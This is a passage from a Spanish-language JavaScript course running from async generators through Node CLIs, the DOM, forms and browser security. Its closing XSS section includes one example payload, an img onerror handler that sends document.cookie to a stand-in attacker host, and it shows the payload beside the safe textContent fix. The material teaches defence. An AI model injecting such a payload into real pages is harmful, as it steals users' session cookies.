Cuando los datos llegan a lo largo del tiempo (paginación, streams), un async generator expone la secuencia y for-await la consume:

async function* todasLasVentas() {
  let pagina = 1;
  while (true) {
    const r = await fetch(`/api/ventas?page=${pagina++}`);
    const { items, hayMas } = await r.json();
    yield* items;                       // delega cada venta
    if (!hayMas) return;
  }
}

for await (const venta of todasLasVentas()) {
  acumular(venta);                      // memoria plana: solo el agregado
}

Retry con backoff: patrón de producción

const dormir = ms => new Promise(r => setTimeout(r, ms));

async function reintentar(fn, intentos = 3) {
  for (let i = 1; i <= intentos; i++) {
    try {
      return await fn();
    } catch (error) {
      if (i === intentos) throw error;
      const espera = 2 ** i * 100;      // 200, 400, 800ms...
      console.warn(`intento ${i} fallo, reintentando en ${espera}ms`);
      await dormir(espera);
    }
  }
}

const datos = await reintentar(() =>
  fetch("/api/inestable").then(r => r.json()));

Reglas de oro async

  • Top-level await permitido SOLO en módulos: útil para bootstrap.
  • Promise.all dentro del try si quieres fallar rápido; allSettled para tolerantes.
  • No hagas await dentro de bucles cuando puedas mapear + all.
  • Toda función async que devuelves desde otra debe ser awaited o returned — ESLint (require-await) ayuda.

Puntos clave

  • await pausa la función, jamás el event loop.
  • Awaits secuenciales innecesarios = latencia multiplicada.
  • Async generators + for await: paginación elegante.
  • Backoff exponencial: cortesía mínima ante APIs inestables.

23 · Novedades ES2024–ES2026

Avanzado ~15 min

Iterator helpers, Array.fromAsync, resource management con using y Temporal: lo último que ya puedes usar.

Iterator helpers (ES2025): perezosos de verdad

map/filter sobre arrays crean arrays intermedios completos. Sobre iteradores, trabajan elemento a elemento — sin materializar nada:

function* naturales() { for (let i = 1; ; i++) yield i; }

const primerosPares = naturales()      // infinito!
  .map(n => n * 2)
  .filter(n => n % 4 === 0)
  .take(3)
  .toArray();                          // [4, 8, 12]

// metodos clave: map filter flatMap take drop reduce some every find
// toArray — todos perezosos hasta que toArray/for-of consume

Array.fromAsync (ES2024)

// recolectar paginas de una API en un solo array
async function* paginar(base) {
  for (let pagina = 1; pagina <= 5; pagina++) {
    const r = await fetch(`${base}?page=${pagina}`);
    yield* await r.json();
  }
}
const productos = await Array.fromAsync(paginar("/api/productos"));
console.log(`${productos.length} productos cargados`);

Resource management: using / dispose (ES2026)

El estándar adoptó el patrón RAII: objetos con Symbol.dispose se liberan automáticamente al salir del bloque — síncrona o asíncronamente:

class Conexion {
  static contador = 0;
  constructor() { this.id = ++Conexion.contador; console.log(`abierta #${this.id}`); }
  consulta() { return `datos #${this.id}`; }
  [Symbol.dispose]() { console.log(`cerrada #${this.id}`); }
}

{
  using c1 = new Conexion();          // se cierra SOLA al salir, incluso si hay throw
  using c2 = new Conexion();
  console.log(c1.consulta());
}
// abierta #1, abierta #2, datos #1, cerrada #2, cerrada #1 (orden inverso)
// version asincrona: await using c = ... con Symbol.asyncDispose

Temporal: la muerte anunciada de Date

Temporal corrige décadas de sufrimiento: meses 1–12, zonas horarias explícitas, inmutabilidad. Proceso TC39 en etapa final; los navegadores estables lo van incorporando durante 2026. Así se ve:

// API objetivo (activarla tras disponibilidad general):
const cita = Temporal.PlainDate.from("2026-09-18");   // septiembre = 9! (no 8)
cita.plus({ days: 10 }).toString();                   // "2026-09-28"

const reunion = Temporal.ZonedDateTime.from({
  timeZone: "America/Lima",
  year: 2026, month: 9, day: 18, hour: 15,
});
reunion.withTimeZone("Europe/Madrid").hour;   // 22 — conversion correcta

// mientras tanto, Intl.DateTimeFormat ya cubre formateo seguro (cap. 9)

Mapa de adopción

FunciónEditionNavegadoresNode 22
Object.groupBy / Map.groupByES2024✔ estables
Promise.withResolversES2024✔ estables
Array.fromAsyncES2024✔ estables
Iterator helpersES2025✔ estables
Set methodsES2025✔ estables
using / disposeES2026parcial / flagsexperimental
Temporalen caminoincorporándosepolidato mientras

Consulta siempre caniuse.com antes de usar novedades en producción; para ES2026+ considera TypeScript o transpilación.

Puntos clave

  • Iterator helpers: pipelines perezosos incluso sobre secuencias infinitas.
  • Array.fromAsync convierte cualquier flujo async en array.
  • using/[Symbol.dispose]: liberación automática estilo try-finally garantizado.
  • Temporal llega para jubilar Date: meses 1–12 y zonas horarias sanas.

24 · JSON profundo

Intermedio ~13 min

replacer/reviver, toJSON y el mapa completo de lo que JSON no puede guardar.

const pedido = { id: 7, total: 129.9, creado: new Date("2026-08-23T12:00:00") };

const texto = JSON.stringify(pedido);
// {"id":7,"total":129.9,"creado":"2026-08-23T12:00:00.000Z"}

// pretty para archivos de configuracion / logs
JSON.stringify(pedido, null, 2);

replacer: filtrar o transformar al serializar

// por lista de claves
JSON.stringify(pedido, ["id", "total"]);

// o por funcion (this = objeto contenedor)
const limpio = JSON.stringify(pedido, (clave, valor) =>
  clave === "interno" ? undefined : valor      // undefined = se elimina
);

reviver: revivir tipos perdidos

const vuelta = JSON.parse(texto, (clave, valor) =>
  clave === "creado" ? new Date(valor) : valor
);
vuelta.creado instanceof Date;   // true — Date volvio a la vida

// toJSON: la clase decide su forma serializable
class Dinero {
  constructor(centimos) { this.centimos = centimos; }
  toJSON() { return { __dinero: true, centimos: this.centimos }; }
}
JSON.parse(JSON.stringify({ precio: new Dinero(12990) }));

Lo que JSON NO guarda (memorízalo)

TipoTras roundtrip JSON
Datestring ISO (revive a mano)
undefined / funcionesdesaparecen del objeto
NaN / Infinitynull
Map / Set / RegExp{ } vacío
BigIntTypeError: lanza!
Referencias cíclicasTypeError: lanza!
const a = {}; a.soyYo = a;
// JSON.stringify(a);              // TypeError: Converting circular structure

// copia profunda SIN drama: structuredClone soporta ciclos, Map, Set, fechas...
const clon = structuredClone(a);
clon.soyYo === clon;               // true — ciclo preservado

parse seguro: el patrón [error, datos]

function parseSeguro(texto) {
  try {
    return [null, JSON.parse(texto)];
  } catch {
    return [new SyntaxError("JSON invalido"), null];
  }
}

const [err, config] = parseSeguro(localStorage.getItem("config"));
if (err) console.warn("config dañada, usando defaults");

JSON5/JSONC existen (comentarios, claves sin comillas) pero requieren librerías: el estándar del navegador es JSON estricto.

Puntos clave

  • replacer filtra; reviver reconstruye (fechas!).
  • toJSON da control de serialización por clase.
  • Ciclos y BigInt lanzan; structuredClone copia profunda real.
  • parseSeguro: nunca dejes que localStorage tumbé tu app.

25 · Fechas: Date y el camino a Temporal

Intermedio ~14 min

Domina Date sabiendo dónde muerde, y prepara la migración a Temporal.

Las cuatro formas de crear

const ahora = new Date();

// componentes LOCALES — mes 0-11 (!), dia 1-31
const independencia = new Date(2026, 6, 28);   // 28 de JULIO

// desde string ISO — SIN hora se interpreta como UTC midnight
const iso = new Date("2026-08-23");            // 2026-08-23T05:00 en Lima!

// epoch milisegundos
const epoch = new Date(0);                     // 1 enero 1970 UTC
La doble trampa: constructor usa meses 0–11 y zona LOCAL; el string ISO sin hora usa UTC. Misma fecha, horas distintas según cómo la crees.

Date es mutable: el bug silencioso

const inicio = new Date(2026, 0, 1);
inicio.setMonth(inicio.getMonth() + 1);   // MUTA el original!
console.log(inicio.getMonth());           // 1 — y quien tenia "inicio" ya no lo tiene

// patron inmutable: clona antes de tocar
function sumarMeses(fecha, n) {
  const copia = new Date(fecha);
  copia.setMonth(copia.getMonth() + n);
  return copia;
}

Aritmética segura con Date.UTC

// dias entre fechas SIN sorpresas de horario de verano
function diasEntre(a, b) {
  const utcA = Date.UTC(a.getFullYear(), a.getMonth(), a.getDate());
  const utcB = Date.UTC(b.getFullYear(), b.getMonth(), b.getDate());
  return Math.round((utcB - utcA) / 86_400_000);   // ms por dia
}
diasEntre(new Date(2026, 6, 28), new Date(2026, 7, 30));   // 33

// comparar fechas (sin hora): normaliza a medianoche local
const medianoche = f => new Date(f.getFullYear(), f.getMonth(), f.getDate());
medianoche(f1) <= medianoche(hoy) && hoy <= medianoche(f2);

Leer y formatear

MétodoDevuelve
getFullYear / getMonth / getDateaño / mes 0–11 / día del mes (LOCAL)
getDaydía de SEMANA 0–6 (domingo = 0)
getTime / toISOStringepoch ms / "2026-08-23T17:00:00.000Z"
toLocaleDateString("es-PE")"23/8/2026"
// countdown hasta el lanzamiento
const restante = objetivo - Date.now();       // resta de epochs = ms
const dias = Math.floor(restante / 86_400_000);
const horas = Math.floor(restante % 86_400_000 / 3_600_000);

Checklist hacia Temporal

  • Hoy: encapsula TODA aritmética en helpers propios (sumarMeses, diasEntre).
  • Hoy: guarda ISO strings completos (con hora y Z) en APIs/storage.
  • Mañana: cada helper se traduce 1:1 a Temporal.PlainDate/ZonedDateTime (cap. 23).

Puntos clave

  • Meses 0–11; getDay es día de semana; ISO sin hora = UTC.
  • Date muta: clona antes de setXxx.
  • Aritmética de días: Date.UTC + Math.round, nunca restas locales crudas.
  • Encapsula en helpers: la migración a Temporal será trivial.

26 · Expresiones regulares modernas

Avanzado ~15 min

Named groups, flag d/v, lookaround y validaciones reales del contexto peruano.

// dos formas equivalentes
const r1 = /\d{8}/;                 // literal (preferida)
const r2 = new RegExp("\\d{8}");    // constructor cuando el patron llega dinamico

r1.test("12345678");      // true — test: booleano rapido
"abc 12345678".match(r1); // match: detalles o null
r1.exec("...");           // exec: igual a match con flag g avanza indice

Grupos nombrados: legibilidad real

const fecha = /(?<dia>\d{1,2})-(?<mes>\d{1,2})-(?<anio>\d{4})/;
const m = "naci el 30-8-2003".match(fecha);
m.groups.dia;         // "30"
m.groups.anio;        // "2003"

// reemplazos con nombres (sin contar posiciones!)
"30-8-2003".replace(fecha, "$<anio>-$<mes>-$<dia>");   // "2003-8-30"

Flag d: índices exactos (ES2022)

const r = /(a)(b)/d;
"aXba".match(r).indices;   // [[1,2],[1,2],[2,3]] — posiciones de TODO y de cada grupo
// util para resaltados de sintaxis y editores

Flag v: unicode sets (ES2024)

// v sustituye a u y agrega conjuntos/intersecciones:
const letra = /[\p{L}--[aeiou]]/v;        // letras MENOS vocales ascii
letra.test("z");       // true
letra.test("a");       // false
/\p{Script=Greek}/v.test("Ω");            // true
// substraccion de clases: imposible limpia antes de ES2024

Lookaround: mirar sin consumir

// lookbehind: precedido de S/ pero SIN incluirlo
"S/ 129.90".match(/(?<=S\/\s)\d+(\.\d{2})?/)[0];   // "129.90"

// lookahead negativa: contraseña con al menos un numero
/^(?=.*\d).{8,}$/.test("clave2026");    // true

// separador de miles al estilo contable
"1299990".replace(/\B(?=(\d{3})+(?!\d))/g, ",");   // "1,299,990"

Caja de herramientas Perú

DatoRegexEjemplo válido
DNI/^\d{8}$/70451238
Celular/^9\d{8}$/987654321
RUC/^(10|20)\d{9}$/20512345678
Placa antigua/^[A-Z]{3}-\d{3}$/ABC-123
Placa nueva/^[A-Z]\d{3}[A-Z]{3}$/A123BCD
Catastróficas: patrones anidados con cuantificadores ((a+)+) pueden colgar el hilo con entradas maliciosas (ReDoS). Valida longitud máxima ANTES de aplicar regex complejas.

Puntos clave

  • Named groups + $<nombre>: regex mantenibles.
  • Flag d da índices; flag v trae álgebra de clases Unicode.
  • Lookbehind/lookahead validan contexto sin capturarlo.
  • test() para validar; match() para extraer.

27 · Storage del navegador

Intermedio ~14 min

localStorage/sessionStorage, cookies vistas desde JS e IndexedDB sin miedo.

Web Storage: diccionario persistente

localStorage.setItem("tema", "oscuro");
localStorage.getItem("tema");          // "oscuro"
localStorage.removeItem("tema");
localStorage.clear();                  // bota TODO el origen

// solo strings: serializa objetos tu mismo (con parse seguro!)
localStorage.setItem("carrito", JSON.stringify([{ sku: "CAF-01", cant: 2 }]));
const [err, carrito] = parseSeguro(localStorage.getItem("carrito"));

// sessionStorage: identico pero muere al cerrar la pestaña
sessionStorage.setItem("scrollPos", "1240");
PropiedadlocalStoragesessionStorage
Vida útilpermanente (hasta borrar)pestaña abierta
Compartido entre pestañasno
Cuota típica~5 MB por origen
Ámbitoorigen completo (protocolo + dominio + puerto)

Cookies: la vista JS (limitada a propósito)

document.cookie = "idioma=es; max-age=31536000; path=/; Secure; SameSite=Lax";
document.cookie;      // "idioma=es" — SOLO las no HttpOnly, sin atributos

// borrar: misma clave con expiracion pasada
document.cookie = "idioma=; max-age=0; path=/";
HttpOnly oculta la cookie de JavaScript (protección XSS para sesiones). Si tu backend marca la cookie de sesión como HttpOnly —correcto— desde aquí solo verás las demás. Las cookies viajan al servidor en CADA petición: no guardes catálogos ahí.

IndexedDB: la base NoSQL del navegador

API antigua y verbosa basada en eventos; con un mini-wrapper promisificado queda usable:

function abrirDB(nombre, version, migrar) {
  return new Promise((resolve, reject) => {
    const req = indexedDB.open(nombre, version);
    req.onupgradeneeded = () => migrar(req.result);      // crear stores
    req.onsuccess = () => resolve(req.result);
    req.onerror = () => reject(req.error);
  });
}

function tx(store, modo, trabajo) {
  return new Promise((resolve, reject) => {
    const t = db.transaction(store, modo);
    const out = trabajo(t.objectStore(store));
    t.oncomplete = () => resolve(out?.result ?? null);
    t.onerror = () => reject(t.error);
  });
}

let db;
async function demo() {
  db = await abrirDB("tienda", 1,
    d => d.createObjectStore("pendientes", { keyPath: "id" }));

  await tx("pendientes", "readwrite",
    s => s.put({ id: 7, total: 129.9, sincronizado: false }));
  const pedido7 = await tx("pendientes", "readonly", s => s.get(7));
  console.log(pedido7.total);      // 129.9 — objetos reales, sin JSON
}

¿Cuál uso?

NecesidadHerramienta
Preferencias pequeñas (tema, idioma)localStorage
Borradores/estado por pestañasessionStorage
Datos estructurados grandes, offline-firstIndexedDB
Sesión/tokens que el servidor debe leercookie HttpOnly (backend)

Modo incógnito y bloqueo de terceros pueden limitar storage: envuelve siempre en try/catch o feature-detect. La librería idb promisifica IndexedDB con 600 bytes si prefieres no mantener tu propio wrapper.

Puntos clave

  • Storage guarda strings: JSON + parseSeguro siempre.
  • Ámbito por origen; ~5 MB; sessionStorage muere con la pestaña.
  • HttpOnly protege cookies de sesión frente a XSS: es buena señal.
  • IndexedDB = objetos reales indexados para offline; wrapper promisificado obligatorio.

28 · Node en serio: process, env y ESM

Intermedio ~13 min

El objeto process, variables de entorno sin librerías y módulos ES nativos en Node.

process: tu ventana al sistema

process.version;          // v22.17.0
process.platform;         // 'linux' | 'win32' | 'darwin'
process.pid;              // id del proceso

// argumentos de linea de comandos
process.argv;             // [node, script, ...los tuyos]

// variables de entorno
process.env.HOME ??= "/tmp";
if (!process.env.API_TOKEN) {
  console.error("falta API_TOKEN");
  process.exit(1);        // codigo != 0 = fallo para scripts/CI
}

Variables de entorno con --env-file

Desde Node 20 ya no necesitas dotenv para el caso básico:

# .env — NO se sube al repositorio
API_URL=http://localhost:3000
DB_PASSWORD=s3cr3t
$ node --env-file=.env app.mjs
Regla de oro: secretos viven en .env (gitignored) o en el gestor del servidor — jamás hardcodeados ni commiteados.

ESM en Node: un solo lenguaje de módulos

{
  "name": "js-curso-cli",
  "type": "module",
  "scripts": {
    "start": "node src/app.mjs"
  }
}
  • "type": "module" ⇒ los .js del paquete son ESM (import/export reales).
  • Las rutas relativas EXIGEN extensión: ./utilidades.js.
  • Módulos del sistema con prefijo: import fs from "node:fs".
  • Top-level await permitido en módulos: bootstrap directo.

Rutas correctas en ESM

import { fileURLToPath } from "node:url";
import path from "node:path";

const aqui = path.dirname(fileURLToPath(import.meta.url));
const configPath = path.join(aqui, "..", "config.json");
console.log(configPath);
// __dirname no existe en ESM: import.meta.url es su sucesor oficial

¿Estoy en navegador o en Node?

// deteccion robusta de contexto
const enNavegador = typeof window !== "undefined" && typeof document !== "undefined";

export function log(mensaje) {
  if (enNavegador) console.log(`[web] ${mensaje}`);
  else console.log(`[node ${process.platform}] ${mensaje}`);
}
// util para bibliotecas isomorficas (que corren en ambos mundos)

Puntos clave

  • process.env + --env-file: configuración 12-factor sin dependencias.
  • "type": "module": ESM nativo; extensiones obligatorias.
  • import.meta.url reemplaza a __dirname.
  • Detección window/document para código dual web/node.

29 · CLI: argumentos e interacción

Intermedio ~14 min

util.parseArgs, readline/promises y los códigos de salida que esperan los scripts.

process.argv crudo

$ node exportar.js productos.csv --limite 50 --zip
# argv = [ruta-node, ruta-script, 'productos.csv', '--limite', '50', '--zip']

Los dos primeros elementos no son tuyos. Parsear a mano funciona… hasta que aparecen banderas opcionales. Para eso existe el módulo estándar:

util.parseArgs: flags tipados

// bin/exportar.mjs — script ejecutable del proyecto
import { parseArgs } from "node:util";

const { values, positionals } = parseArgs({
  allowPositionals: true,
  options: {
    limite: { type: "string", default: "100" },     // --limite 50
    zip:    { type: "boolean", default: false },    // --zip
    ayuda:  { type: "boolean", short: "h" },
  },
});

if (values.ayuda) {
  console.log("Uso: node exportar.mjs [archivo] --limite N --zip");
  process.exit(0);
}
console.log(positionals[0], Number(values.limite), values.zip);
// productos.csv 50 true
  • type boolean: bandera sola vale true; string exige un valor.
  • Falta un requerido ⇒ lanza error: atrápalo y muestra ayuda.
  • Para CLIs grandes existe yargs/commander; parseArgs cubre scripts propios sin dependencias.

Interacción con readline/promises

import readline from "node:readline/promises";
import { stdin as entrada, stdout as salida } from "node:process";

const rl = readline.createInterface({ input: entrada, output: salida });

const nombre = await rl.question("¿Tu nombre? ");
const seguro = (await rl.question("¿Confirmar pedido? (s/n) ")).trim().toLowerCase() === "s";
rl.close();

if (!seguro) {
  console.error("Pedido cancelado");
  process.exit(1);            // salida con error: los scripts lo detectan
}
console.log(`Listo, ${nombre}. Pedido enviado.`);

stdout contra stderr y códigos de salida

HerramientaRío por defectoPara qué
console.log / process.stdout.writestdoutDATOS del programa (pipeable)
console.error / process.stderr.writestderrMensajes de error/progreso
process.exit(0)éxito explícito (implícito al terminar)
process.exit(1)fallo: CI y bash comprueban $?
# gracias a la separacion, tu CLI compone como unix:
$ node exportar.mjs productos.csv > productos.txt
$ node exportar.mjs malo.csv 2> errores.log ; echo "salio con $?"

Puntos clave

  • argv[0..1] no son tuyos: usa parseArgs desde el índice 2.
  • readline/promises: pregunta-respuesta awaitable nativo.
  • Datos por stdout, errores por stderr, fallo = exit(1).
  • Ayuda con -h/--ayuda no es opcional en una CLI seria.

30 · Scripts largos: streams, workers y señales

Avanzado ~15 min

Procesar gigas con memoria plana, descargar CPU a workers y apagar con elegancia.

Streams: memoria constante aunque el archivo sea enorme

// ANTI-PATRON: readFile carga TODO a RAM
// const todo = await fs.readFile("ventas-2026.csv", "utf8");  // 2 GB = OOM

import fs from "node:fs";
import readline from "node:readline";

const rl = readline.createInterface({
  input: fs.createReadStream("ventas-2026.csv"),
  crlfDelay: Infinity,
});

let total = 0, lineaNro = 0;
for await (const linea of rl) {
  if (++lineaNro === 1) continue;              // encabezado
  const [sku, , monto] = linea.split(",");
  total += Number(monto) || 0;
}
console.log({ lineaNro: lineaNro - 1, total });   // RAM usada: kilobytes
  • pipe/tuberías componen: readStream.pipe(gzip).pipe(writeStream).
  • Regla: si el tamaño del input no lo controlas tú ⇒ stream.

worker_threads: CPU pesada fuera del event loop

// hash-pesado.worker.mjs
import { parentPort, workerData } from "node:worker_threads";
let x = BigInt(workerData.semilla);
for (let i = 0; i < 5e7; i++) x = (x * 1103515245n + 12345n) & 0xffffffffffffn;
parentPort.postMessage(x.toString(16));
// principal.mjs — el event loop sigue atento mientras otro hilo sufre
import { Worker } from "node:worker_threads";

const resultado = await new Promise((resolve, reject) => {
  new Worker("./hash-pesado.worker.mjs", { workerData: { semilla: 7 } })
    .on("message", resolve)
    .on("error", reject);
});
console.log("hash:", resultado);   // UI/API sin tirones durante el calculo

Apagado elegante con SIGINT

let cerrando = false;

async function apagar(senal) {
  if (cerrando) return process.exit(130);       // segundo Ctrl+C: salida forzada
  cerrando = true;
  console.log(`\n${senal} recibido: cerrando...`);
  clearInterval(intervaloTareas);               // 1. detener trabajo nuevo
  await volcarPendientesADisco();               // 2. persistir estado
  console.log("listo");
  process.exit(0);                              // 3. salir limpio
}
process.on("SIGINT", () => apagar("SIGINT"));   // Ctrl+C
process.on("SIGTERM", () => apagar("SIGTERM")); // docker stop / kill

Última línea de defensa

// capturar para LOGUEAR y morir con dignidad:
process.on("uncaughtException", (err) => {
  console.error("no capturado:", err);
  // registrar en servicio externo y salir: el proceso queda en estado incierto
  process.exit(1);
});
process.on("unhandledRejection", (razon) => {
  console.error("promesa rechazada sin catch:", razon);
  process.exit(1);
});
No uses uncaughtException para «seguir vivo»: tras una excepción desconocida el estado interno es impredecible. Loguea, cierra y deja que el supervisor (pm2, systemd, docker restart) reinicie.

Puntos clave

  • Input de tamaño desconocido ⇒ streams + for await.
  • CPU intensiva ⇒ worker_threads; el loop principal nunca se bloquea.
  • SIGINT/SIGTERM: parar entradas → volcar estado → exit limpio.
  • uncaughtException loguea y muere; reiniciar es trabajo del supervisor.

31 · Procesos hijos y fs completa

Intermedio ~14 min

spawn/execFile/fork bien elegidos, la API moderna fs/promises y rutas a prueba de SO.

child_process: tres formas de llamar al exterior

FunciónDevuelveCuándo
execFile(cmd, args)buffer completo al terminarsalida pequeña y esperable
spawn(cmd, args)streams en vivosalida grande/continua (logs)
fork(modulo.js)canal IPC con otro proceso nodeparalelismo con mensajes
import { execFile } from "node:child_process";
import { promisify } from "node:util";

const ejecutar = promisify(execFile);

// NUNCA concatenes input de usuario en comandos:
// execFile recibe ARGUMENTOS como array — sin shell, sin inyeccion
const { stdout } = await ejecutar("git", ["log", "--oneline", "-5"]);
console.log(stdout);

try {
  await ejecutar("git", ["push"]);
} catch (error) {
  console.error("codigo", error.code, "stderr:", error.stderr.slice(0, 200));
}

fs/promises: el sistema de archivos moderno

import fs from "node:fs/promises";

await fs.mkdir("reportes/2026", { recursive: true });   // crea padres si faltan
await fs.writeFile("reportes/2026/agosto.json",
  JSON.stringify({ ventas: 12990 }, null, 2));

const contenido = await fs.readFile("reportes/2026/agosto.json", "utf8");
const lista = await fs.readdir(".");                    // nombres del dir

const info = await fs.stat("reportes/2026/agosto.json");
info.isFile();      // true
info.size;          // bytes
info.mtime;         // Date de modificacion

await fs.rm("reportes/viejo", { recursive: true, force: true });   // borrado seguro

path: aritmética de rutas multiplataforma

FunciónEjemploResultado
join(a, b)join("src", "../docs")"docs"
resolve(p)resolve("./x")ruta ABSOLUTA desde cwd
basename/extname("app.test.js")"app.test.js" / ".js"
sep/ en unix, \ en win32
// concatenar con + rompe Windows: usa SIEMPRE join
const destino = path.join(aqui, "salida", `informe-${fecha}.csv`);

Errores típicos del sistema de archivos

CódigoSentidoReacción sana
ENOENTno existe archivo/dircrear o avisar con ruta exacta
EEXISTy existe (mkdir sin recursive)recursive:true o ignorar
EACCES / EPERMsin permisosdocumentar permisos requeridos
EBUSYarchivo en uso (Windows)reintentar con backoff

Vigilancia simple de cambios: fs.watch(dir) devuelve un watcher con eventos change/rename — suficiente para recargas locales; para producción usa chokidar (más fiable entre SO).

Puntos clave

  • execFile con array de args = inmune a inyección de shell.
  • spawn cuando la salida fluye; fork para IPC entre nodos.
  • fs/promises + mkdir recursive cubren el 95% de casos.
  • path.join siempre; error.code te dice cómo reaccionar.

32 · El DOM: seleccionar y mutar

Intermedio ~14 min

El árbol vivo del documento: consultas modernas, creación de nodos y el costo de cada cambio.

El navegador convierte tu HTML en un árbol de objetos: el DOM. Dos reglas de oro desde hoy: consulta con querySelector y muta lo mínimo — cada cambio puede disparar recálculo de layout.

Consultas

// selectores CSS = poder total
document.querySelector(".card.destacado");      // primer match o null
document.querySelectorAll("li.pendiente");      // NodeList estatica

// NodeList tiene forEach; para map/filter, expande:
[...document.querySelectorAll(".precio")].map(el => Number(el.dataset.valor));

// legacy util: rapido y unico
document.getElementById("total");

Contenido, data-attrs y clases

const celda = document.querySelector("#total");
celda.textContent = "S/ 129.90";       // TEXTO plano: seguro SIEMPRE
// celda.innerHTML = "<b>" + userInput + "</b>";   // PELIGRO XSS (cap. 35)

const fila = document.querySelector("[data-sku]");
fila.dataset.sku;                       // "CAF-01"
fila.dataset.stockMinimo = "5";         // escribe data-stock-minimo

fila.classList.add("bajo-minimo");
fila.classList.toggle("seleccionado", true);
fila.classList.remove("oculto");

Crear, insertar, quitar

const li = document.createElement("li");
li.textContent = "Café Chanchamayo";
li.classList.add("producto");

lista.append(li);            // al final | prepend(): al inicio
li.remove();                 // borrado moderno
li.replaceWith(otroNodo);    // swap directo

// lote grande? DocumentFragment = UN solo reflow
const frag = document.createDocumentFragment();
for (const p of productos) {
  const item = document.createElement("li");
  item.textContent = `${p.nombre} — S/ ${p.precio}`;
  frag.append(item);
}
lista.append(frag);

El costo invisible: reflow

OperaciónCostoMotivo
Cambiar color/clasebajosolo repaint
Insertar/borrar nodosaltoreflow del layout
Leer offsetWidth tras escribiraltísimofuerza recálculo síncrono
// MAL (layout thrashing): alterna lectura/escritura en bucle
for (const el of items) {
  el.style.height = el.offsetHeight + 10 + "px";   // lee+escribe x1000
}

// BIEN: primero TODAS las lecturas, luego TODAS las escrituras
const alturas = [...items].map(el => el.offsetHeight);
[...items].forEach((el, i) => { el.style.height = alturas[i] + 10 + "px"; });

Puntos clave

  • querySelector/querySelectorAll: la puerta estándar al árbol.
  • textContent siempre que no haya HTML de por medio.
  • dataset + classList: la API civilizada de atributos.
  • Lotes con DocumentFragment; nunca alternar lecturas/escrituras de layout.

33 · Eventos y delegación

Intermedio ~14 min

El viaje de un evento, target contra currentTarget, delegación y eventos custom.

const boton = document.querySelector("#enviar");

function enviar(evento) {
  evento.preventDefault();              // cancela el comportamiento nativo
  console.log("enviando...");
}

boton.addEventListener("click", enviar);
boton.removeEventListener("click", enviar);      // misma REFERENCIA de funcion
boton.addEventListener("click", () => {}, { once: true });   // auto-remove

target NO es currentTarget

PropiedadEs…
event.targetdónde NACIÓ el evento (el clic real)
event.currentTargetdónde ESTÁ ESCUCHANDO ahora (el elemento con el listener)

Burbujeo y captura

Un click viaja: fase de captura (document → objetivo), llega al objetivo y regresa burbujeando (objetivo → document). Los listeners escuchan la fase de burbuja salvo { capture: true }.

document.body.addEventListener("click", e => {
  console.log("burbuja llego a body desde:", e.target.tagName);
});

Delegación: un listener para mil elementos

Aprovecha el burbujeo: escucha en el CONTENEDOR y pregunta quién nació ahí. Funciona también con elementos creados después:

lista.addEventListener("click", (e) => {
  const item = e.target.closest("li.producto");
  if (!item) return;                        // click en el contenedor mismo
  if (e.target.matches(".borrar")) {
    item.remove();
    return;
  }
  item.classList.toggle("seleccionado");
});
// nuevos <li> añadidos mañana YA responden sin registrar nada

preventDefault contra stopPropagation

LlamadaEfecto
preventDefault()cancele el comportamiento NATIVO (submit recarga, link navega)
stopPropagation()frena el viaje hacia otros listeners — úsala con juicio: rompe delegaciones ajenas

Eventos custom: tus propios verbos

// emisor (p. ej., dentro de un componente carrito)
carrito.dispatchEvent(new CustomEvent("carrito:cambio", {
  bubbles: true,
  detail: { items: 3, total: 129.9 },
}));

// consumidor (cualquier ancestro)
document.addEventListener("carrito:cambio", (e) => {
  badge.textContent = `${e.detail.items}`;
});
// desacopla modulos sin importarlos: el patron base de los Web Components

Puntos clave

  • removeEventListener exige la misma referencia; once:true para one-shots.
  • target = origen; currentTarget = quien escucha.
  • Delegación + closest(): listas dinámicas sin fugas de listeners.
  • CustomEvent con detail: comunicación desacoplada entre módulos.

34 · Formularios y validación nativa

Intermedio ~14 min

FormData, constraint validation API y mensajes de error que la abuela entiende.

Leer formularios sin sufrir

form.addEventListener("submit", async (e) => {
  e.preventDefault();                       // sin recarga de pagina

  const datos = Object.fromEntries(new FormData(form));
  // { nombre: "Percy", celular: "987654321", distrito: "SJL" }

  const respuesta = await fetch("/api/pedidos", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(datos),
  });
});

Constraint validation: gratis y accesible

Los atributos HTML ya validan ANTES de tu JS: required, minlength/maxlength, min/max, type="email", pattern. Tu trabajo es leer el estado:

// validacion en vivo por campo
const celular = form.elements.celular;

celular.addEventListener("input", () => {
  if (celular.validity.valid) {
    campoError.textContent = "";
    return;
  }
  // mensajes HUMANOS segun el tipo de falla
  const v = celular.validity;
  campoError.textContent =
      v.valueMissing ? "Ingresa tu número de celular"
    : v.patternMismatch ? "Debe empezar con 9 y tener 9 dígitos"
    : "Valor inválido";
});

// pattern del input hace el trabajo sucio:
// <input name="celular" pattern="9[0-9]{8}" required>

setCustomValidity: reglas de negocio

async function validarRuc(input) {
  if (!input.value) return;
  const r = await fetch(`/api/ruc/${input.value}`);
  input.setCustomValidity(r.ok ? "" : "RUC no registrado en SUNAT");
}
// setCustomValidity("") LIMPIA el estado; cualquier otro texto invalida el campo.
// reportValidity() muestra los globos nativos del navegador si prefieres no pintarlos.

Submit condicional: UX correcta

form.addEventListener("submit", (e) => {
  if (!form.checkValidity()) {
    e.preventDefault();
    form.reportValidity();               // globos nativos agrupados
    form.querySelector(":invalid")?.focus();   // al primer error
    return;
  }
  boton.disabled = true;                 // evita doble envío
  enviarPedido();
});
Accesibilidad mínima digna: vincula mensajes con el campo (aria-describedby) y anuncia errores en una región aria-live="polite". La validación nativa ya es leíble por lectores de pantalla.

Puntos clave

  • Object.fromEntries(FormData): payload JSON en una línea.
  • validity object te dice POR QUÉ falló: mensaje específico.
  • setCustomValidity para reglas de negocio asíncronas.
  • Deshabilitar botón al enviar contra dobles submits.

35 · Seguridad en el navegador

Avanzado ~15 min

XSS en sus tres sabores, CSP como cinturón, postMessage verificado y cadena de suministro.

XSS: inyectar código donde tu app confía

// el usuario escribe esto como "comentario":
// <img src=x onerror="fetch('evil.pe?c='+document.cookie)">

// VULNERABLE: innerHTML ejecuta el payload
comentarios.innerHTML += `<p>${texto}</p>`;

// SEGURO: textContent muestra el texto literal
const p = document.createElement("p");
p.textContent = texto;
comentarios.append(p);
TipoDónde viveEjemplo
AlmacenadoBD del servidorcomentario malicioso visible a todos
ReflejadoURL/parámetro?q=<script>... devuelto tal cual
DOM-basedsolo frontendinnerHTML con location.hash
  • Regla única defendible: nunca innerHTML con datos de origen incierto.
